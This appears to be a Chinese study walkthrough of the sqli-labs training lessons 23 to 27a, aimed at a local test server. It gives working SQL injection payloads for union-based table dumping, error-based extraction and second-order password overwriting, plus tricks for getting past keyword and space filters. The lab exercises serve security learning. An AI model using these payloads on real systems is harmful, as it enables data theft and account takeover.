http://127.0.0.1/sqli-labs-master/Less-23/?id=-1%27%20union%20select%201,@@basedir,%273
http://127.0.0.1/sqli-labs-master/Less-23/?id=-1’ union select 1,@@datadir,'3
爆数据库
?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3
http://127.0.0.1/sqli-labs-master/Less-23/?id=-1%27%20union%20select%201,database(),3%20or%20%271%27=%271
本关为二次排序注入的示范例。二次排序注入也成为存储型的注入,就是将可能导致
sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以出发 sql 注入。
二次排序注入思路:
首先我们查看下初始数据
用户名为admin,密码为1登入,然后修改密码为1111
修改成功后会出现修改成功的界面,我们再次查看下数据库里的数据
我们注册一个用户名为admin’#,密码为2222的账户
修改admin’#用户的密码为3333,
再次查看数据库的数据,发现admin的密码变成了3333,而admin‘#的密码没变,我们成功进行了注入。那这是为什么呢?
我们查看下源码,发现修改密码的sql语句如下
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
也就是我们注入的语句为
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";
从本关的标题可以看出,本关使用or 和and过滤
(1)大小写变形 Or,OR,oR
(2)编码,hex,urlencode
(3)添加注释/*or*/
(4)利用符号 and=&& or=||
(5)双关键字,如oorr,中间的or被注释了,就是or了
127.0.0.1/sqli-labs-master/Less-25/?id=1and 1=1--+
http://127.0.0.1/sqli-labs-master/Less-25/?id=1%27||%20extractvalue(1,concat(0x7e,database()))--+
通过源码对比我们可以知道,less25a与less25的区别是
1、id无引号包含
2、没有输出错误,故不能使用报错注入
其他与Less25无区别
http://127.0.0.1/sqli-labs-master/Less-25a/?id=1--+
http://127.0.0.1/sqli-labs-master/Less-25a/?id=-1 union select 1,@@basedir,3--+
观察源码可以发现
本关在前面的基础上过滤了or and 空格/*,#,–,/等各种符号过滤
对于空格,有较多的方法:
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
注意在windows系统下可能解析不了上面所说的空格的替换方法,所有大家请在linux系统下进行操作
http://127.0.0.1/sqli-labs-master/Less-26/?id=1'%0b||'1
观察源码发现与Less-26的区别
id=(‘id’),注释掉了报错语句,那么我们就使用延时注入和联合注入
过滤了union,select, Union,Select和 Less-26 关过滤掉的字符,只有我们把union,select改成大小写混合就可以了。
过滤了union,select ,Union,Select和 Less-26a 关过滤掉的字符,只有我们把union,select改成大小写混合就可以了。
http://127.0.0.1/sqli-labs-master/Less-27a/?id=1"%0b||"1